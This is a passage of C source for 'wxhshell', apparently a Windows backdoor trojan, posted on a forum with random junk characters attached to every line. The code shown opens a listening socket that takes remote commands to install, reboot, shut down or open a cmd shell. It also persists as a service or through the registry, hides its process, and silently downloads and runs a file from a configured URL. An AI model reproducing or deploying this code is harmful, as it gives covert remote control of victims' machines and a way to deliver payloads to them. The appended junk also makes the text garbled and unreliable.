  } PzMJ^H{  
  else { k Pi%RvuQ  
U0 nSI  
    switch(cmd[0]) { ;wK;  
  >E;kM B  
  // 帮助  Tvqq#;I  
  case '?': { WYSqnmi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); opU=49 b  
    break; sEkfmB2J/  
  } q^; SZ^yW5  
  // 安装 )CJXk zOX  
  case 'i': { -d1 YG[1|  
    if(Install()) zl^ %x1G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &kUEnwQ -  
    else `<2k.aW4e8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =PYfk6j9  
    break; = .a}  
    } )S@e&a|  
  // 卸载 +pXYBwH 7Q  
  case 'r': { |;sL*Vr  
    if(Uninstall()) f>!)y-7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c<bV3,  
    else U*(/eEtd-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b+Sq[  
    break; `?f6~$1  
    } 55q!2>Jh.  
  // 显示 wxhshell 所在路径 Kh&W\\K  
  case 'p': { 'K&^y%~py,  
    char svExeFile[MAX_PATH]; VRU"2mQ.P6  
    strcpy(svExeFile,"\n\r"); d!0iv'^t  
      strcat(svExeFile,ExeFile);  bi/ AQ^  
        send(wsh,svExeFile,strlen(svExeFile),0); FnxPM`Zx  
    break; cq+G0F+H  
    } diHK  
  // 重启 |y1O M  
  case 'b': { !ij R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0Xo>f"2<f  
    if(Boot(REBOOT)) ;E:vsVK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &n$kVNE  
    else { Iue}AGxu:{  
    closesocket(wsh); nilis-Bk_  
    ExitThread(0); I]Ev6>=;  
    } _|+}4 ap  
    break; sjGy=d{:oL  
    } v z6No%8X  
  // 关机 4fauI%kc  
  case 'd': { }uP`=T!"8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); " GRR,7A  
    if(Boot(SHUTDOWN)) & pHSX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qlSI|@CO  
    else { =jv3O.zq  
    closesocket(wsh); #dA9v7  
    ExitThread(0); e~oh%l^C72  
    } <<'%2q5  
    break; BOt1J_;(rO  
    } `vjn,2S}  
  // 获取shell )qSjI_qt5  
  case 's': { ]31>0yj[Q  
    CmdShell(wsh); 4 .Kl/b;  
    closesocket(wsh); n8 UG{. =  
    ExitThread(0); Lb]!TOl  
    break; )7]la/0  
  } x{DTVa 6y2  
  // 退出 K@%o$S?>z_  
  case 'x': { La>fvm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CWBlDz  
    CloseIt(wsh); .A6D&-&z  
    break; >0F)^W?  
    } ncGt-l<9  
  // 离开 #`]`gNB0Yg  
  case 'q': { ej91)3AO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j]HzI{7y  
    closesocket(wsh); :2t0//@X  
    WSACleanup(); ='A VI-go5  
    exit(1); <+y%k~("  
    break; "m#17J_  
        } K_! R   
  } eI,'7u4q  
  } srlxp_^  
>Nam@,hm  
  // 提示信息 ZLDO&}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "DO|B=EejP  
} |N5r_V  
  } ~ =GwNo_  
P2Jo^WS  
  return; RGgePeaw  
} 8Z|A'M  
^F)t>K$0m  
// shell模块句柄 Mz7qC3Z  
int CmdShell(SOCKET sock) knn9s0'Q  
{ nsL"'iQ  
STARTUPINFO si; b>h L*9  
ZeroMemory(&si,sizeof(si)); zMke}2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k"3@ G?JY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^'%Q>FVb  
PROCESS_INFORMATION ProcessInfo; r01u3!  
char cmdline[]="cmd"; ?;]Xc~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T)MX]T  
  return 0; / Q| Z&-c  
} ++sbSl)Q  
IayF<y,8  
// 自身启动模式 BUCPO}I  
int StartFromService(void) d>gQgQ;g  
{ W7W(jMH  
typedef struct 2BKiA[ ;;  
{ H Y~[/H+:  
  DWORD ExitStatus; D&o ~4Qvc]  
  DWORD PebBaseAddress; .wV-g:2  
  DWORD AffinityMask; 7@R^B=pb  
  DWORD BasePriority; k4d;4D?  
  ULONG UniqueProcessId; 0.\}D:x(z  
  ULONG InheritedFromUniqueProcessId; wpWZn[j  
}   PROCESS_BASIC_INFORMATION; K=! C\T"I%  
 :yw8_D3  
PROCNTQSIP NtQueryInformationProcess; "!Qi$ ]  
b@S~ =  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7{tU'`P>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W|Cs{rBc?  
eZ]>;5  
  HANDLE             hProcess; n8E3w:A-  
  PROCESS_BASIC_INFORMATION pbi; +B[XTn,Cru  
Q#F9&{'l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Aj8zFt ]  
  if(NULL == hInst ) return 0; }uwZS=pw  
3*T/ 7\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C|V5@O?;&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2#   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P~#LbUP(  
b0sj0w/  
  if (!NtQueryInformationProcess) return 0; 7g5Pc_  
cA+T-A]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ef7BG(  
  if(!hProcess) return 0; wV\7  
Mtl`A'KQ/K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AC\y|X8-  
o5['5?i}/  
  CloseHandle(hProcess); ;eJ|) *  
&_q8F,I \<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (}5};v  
if(hProcess==NULL) return 0; mPF<2:)wv  
4B9D  
HMODULE hMod;  9mW   
char procName[255]; {e$ @i  
unsigned long cbNeeded; ykRd+H-t  
 HzL~B#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %ikPz~(  
~|[i64V<^  
  CloseHandle(hProcess); ![!,i\x  
Q,M,^_  
if(strstr(procName,"services")) return 1; // 以服务启动 r0wAh/J|  
d;,Jf*x\  
  return 0; // 注册表启动 B8unF=u  
} 0dIGX |e  
.F'Cb)Z  
// 主模块 Aj]/A  
int StartWxhshell(LPSTR lpCmdLine) Lf:#koaC  
{ guVuO  
  SOCKET wsl;  '[HBKn$`  
BOOL val=TRUE; [wk1p-hf  
  int port=0; x:i,l:x  
  struct sockaddr_in door; V["'eJA,,  
n!sOKw  
  if(wscfg.ws_autoins) Install(); qC=9m[MI  
37biRXqLH  
port=atoi(lpCmdLine); aTfc>A;  
.:XXc  
if(port<=0) port=wscfg.ws_port; ~1XC5.*-  
nI4oQE  
  WSADATA data; z0x^HDAeC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^?_MIS`4N  
h@]{j_$u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CfO{KiM(2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WL|71?@C  
  door.sin_family = AF_INET; M;W&#Fz%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 03A QB;.  
  door.sin_port = htons(port); 3s?ZyQy  
KYyoN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q@|"xKa  
closesocket(wsl); >sdF:(JV&  
return 1; #S] O|$&*  
} *%\Xw*\0  
W6`_ lGTj  
  if(listen(wsl,2) == INVALID_SOCKET) { A~ v[6*~>  
closesocket(wsl); &G[W$2`@  
return 1; f'MRC \  
} qJJ 5o?'  
  Wxhshell(wsl); A k~|r#@  
  WSACleanup();  )y6  
}O+S}Hbwy  
return 0; :#\jx  
]<ay_w;  
} I?nU+t;  
6kMEm)YjT  
// 以NT服务方式启动 3sRI 7g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V lkJ$f5l  
{ cd~QGP_C  
DWORD   status = 0; i!fk'Yt%  
  DWORD   specificError = 0xfffffff; {MN6JGb|'  
YzJWS|]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p.<d+S<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :?}> Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `9k\~D=D~  
  serviceStatus.dwWin32ExitCode     = 0; 3''Uxlo\  
  serviceStatus.dwServiceSpecificExitCode = 0; A/&u /?*C  
  serviceStatus.dwCheckPoint       = 0; \acGSW .c  
  serviceStatus.dwWaitHint       = 0; ny!80I  
8Ht=B,7T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J*zQ8\f=}  
  if (hServiceStatusHandle==0) return; <WbO&;%  
S;/pm$?/  
status = GetLastError(); !]9qQ7+R%  
  if (status!=NO_ERROR) yRD tPK"E-  
{ O'(D:D?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s'd\"WaQV  
    serviceStatus.dwCheckPoint       = 0; 6;@:/kl t  
    serviceStatus.dwWaitHint       = 0; YE:5'@Z  
    serviceStatus.dwWin32ExitCode     = status; J0YNzC4  
    serviceStatus.dwServiceSpecificExitCode = specificError; JaR!9GVN7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1D2RhM%  
    return; uKTYb#E7  
  } .g7\+aiTUd  
IGo5b-ds  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C!nbl+75  
  serviceStatus.dwCheckPoint       = 0; k nzo6  
  serviceStatus.dwWaitHint       = 0; tkff\W[JU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &h.?~Ri  
} ]zj&U#{  
FW)~e*@8=  
// 处理NT服务事件,比如:启动、停止 {d0 rUHP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I)9 ,  
{ L^PBcfg  
switch(fdwControl) a1ps'^Qhh  
{ 6OJhF7\0&  
case SERVICE_CONTROL_STOP: XWX]/j2jA  
  serviceStatus.dwWin32ExitCode = 0; DwK$c^2q{.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B/mfm 7  
  serviceStatus.dwCheckPoint   = 0; D(Q]ddUi'  
  serviceStatus.dwWaitHint     = 0; naA8RD5/  
  { sO!m,pK(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |9BX  ~`{  
  } c>T)Rc  
  return; LF)wn -C}  
case SERVICE_CONTROL_PAUSE: 0bD\`Jiv,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Au{b1n  
  break; 90-s@a3B-j  
case SERVICE_CONTROL_CONTINUE: R:ecLbC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; knfmJUT  
  break; JV8*;n%}-  
case SERVICE_CONTROL_INTERROGATE: g&Uu~;jq]  
  break; g $^Yv4  
}; )cL`$h4DD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8A/rkoht*  
} P)hGe3  
d/@P;YN!  
// 标准应用程序主函数 ?5^DQ|Hg ^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s$lJJL  
{ cxFyN ;7  
6\v4#  
// 获取操作系统版本 rJB/)4 mE  
OsIsNt=GetOsVer(); q0['!G%["  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PsS.lhj0"  
-a"b:Q  
  // 从命令行安装 wbk$(P'gN  
  if(strpbrk(lpCmdLine,"iI")) Install(); gR_Exs'K  
L)S V?FBx  
  // 下载执行文件 aWP9i &  
if(wscfg.ws_downexe) { M"msLz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @3U=kO(^+\  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?k@;,l :s  
} MX+gc$Y O  
?(}~[  
if(!OsIsNt) { h&!$ `)   
// 如果时win9x,隐藏进程并且设置为注册表启动 ^&c &5S}  
HideProc(); ~fzuz'"^  
StartWxhshell(lpCmdLine); TN08 ,:k  
} <^W5UU#Pg  
else y@AUSh;  
  if(StartFromService()) [By|3 bI  
  // 以服务方式启动 L. S/Mv  
  StartServiceCtrlDispatcher(DispatchTable); o{l]n*  
else B1%xU?  
  // 普通方式启动 9[ o$/x}  
  StartWxhshell(lpCmdLine); EN,}[^Z  
-zzT:C  
return 0; 2E!Q5 l!j  
}
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只看该作者 1 发表于: 2006-10-10
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